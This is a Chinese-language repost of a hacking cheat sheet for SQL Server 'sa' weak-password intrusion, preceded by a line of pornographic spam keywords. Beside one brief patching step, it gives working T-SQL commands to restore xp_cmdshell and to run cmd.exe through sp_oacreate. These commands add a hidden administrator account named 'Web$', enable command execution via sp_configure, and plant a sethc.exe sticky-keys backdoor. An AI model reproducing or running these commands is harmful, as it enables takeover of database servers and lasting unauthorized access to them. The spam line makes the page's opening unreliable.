乡下人产国偷v产偷v自拍,国产午夜片在线观看,婷婷成人亚洲综合国产麻豆,久久综合给合久久狠狠狠9

  • <output id="e9wm2"></output>
    <s id="e9wm2"><nobr id="e9wm2"><ins id="e9wm2"></ins></nobr></s>

    • 分享

      1433 sa弱口令相關(guān)命令 - 黑白網(wǎng)絡(luò)

       網(wǎng)游盛世 2010-04-19

      一.更改sa口令方法:
      用sql綜合利用工具連接后,執(zhí)行命令:
      exec sp_password NULL,'新密碼','sa'
      (提示:慎用!)

      二.簡單修補(bǔ)sa弱口令.

      方法1:查詢分離器連接后執(zhí)行:
      if exists (select * from
      dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
      OBJECTPROPERTY(id, N'IsExtendedProc') = 1)

      exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

      GO

      然后按F5鍵命令執(zhí)行完畢

      方法2:查詢分離器連接后
      第一步執(zhí)行:use master
      第二步執(zhí)行:sp_dropextendedproc 'xp_cmdshell'
      然后按F5鍵命令執(zhí)行完畢


      三.常見情況恢復(fù)執(zhí)行xp_cmdshell.

      1 未能找到存儲(chǔ)過程'master..xpcmdshell'.
         恢復(fù)方法:查詢分離器連接后,
      create procedure sp_addextendedproc --- 1996/08/30 20:13
      @functname nvarchar(517),/* (owner.)name of function to call

      */
      @dllname varchar(255)/* name of DLL containing function */
      as
      set implicit_transactions off
      if @@trancount > 0
      begin
      raiserror(15002,-1,-1,'sp_addextendedproc')
      return (1)
      end
      dbcc addextendedproc( @functname, @dllname)
      return (0) -- sp_addextendedproc
      GO
      第一步執(zhí)行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
      第二步執(zhí)行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
      然后按F5鍵命令執(zhí)行完畢

      2 無法裝載 DLL xpsql70.dll 或該DLL所引用的某一 DLL。原因126(找不到指定模塊。)
      恢復(fù)方法:查詢分離器連接后,
      第一步執(zhí)行:sp_dropextendedproc "xp_cmdshell"
      第二步執(zhí)行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
      然后按F5鍵命令執(zhí)行完畢

      3 無法在庫 xpweb70.dll 中找到函數(shù) xp_cmdshell。原因: 127(找不到指定的程序。)
      恢復(fù)方法:查詢分離器連接后,
      第一步執(zhí)行:exec sp_dropextendedproc 'xp_cmdshell'
      第二步執(zhí)行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'           
      然后按F5鍵命令執(zhí)行完畢

      四.終極方法.
      如果以上方法均不可恢復(fù),請(qǐng)嘗試用下面的辦法直接添加帳戶:
      查詢分離器連接后,
      2000servser系統(tǒng):
      declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user Web hacker /add'

      declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators Web /add'

      xp或2003server系統(tǒng): 126錯(cuò)誤!命令

      declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user Web$ hacker /add'

      declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators Web$ /add'


      5 .C:\>DIR C:\
      SQL Server 阻止了對(duì)組件 'xp_cmdshell' 的 過程'sys.xp_cmdshell' 的訪問,因?yàn)榇私M件已作為此服務(wù)器安全配置的一部分而被關(guān)閉。系統(tǒng)管理員可以通過使用 sp_configure 啟用 'xp_cmdshell'。有關(guān)啟用 'xp_cmdshell' 的詳細(xì)信息,請(qǐng)參閱 SQL Server 聯(lián)機(jī)叢書中的 "外圍應(yīng)用配置器"。

      分析器執(zhí)行的語句:

      EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

      5下shift后門命令
      declare @o int
      exec sp_oacreate 'scripting.filesystemobject', @o out
      exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';

      declare @o int
      exec sp_oacreate 'scripting.filesystemobject', @o out
      exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

      copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
      copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

      =================================================================

        本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
        轉(zhuǎn)藏 分享 獻(xiàn)花(0

        0條評(píng)論

        發(fā)表

        請(qǐng)遵守用戶 評(píng)論公約

        類似文章 更多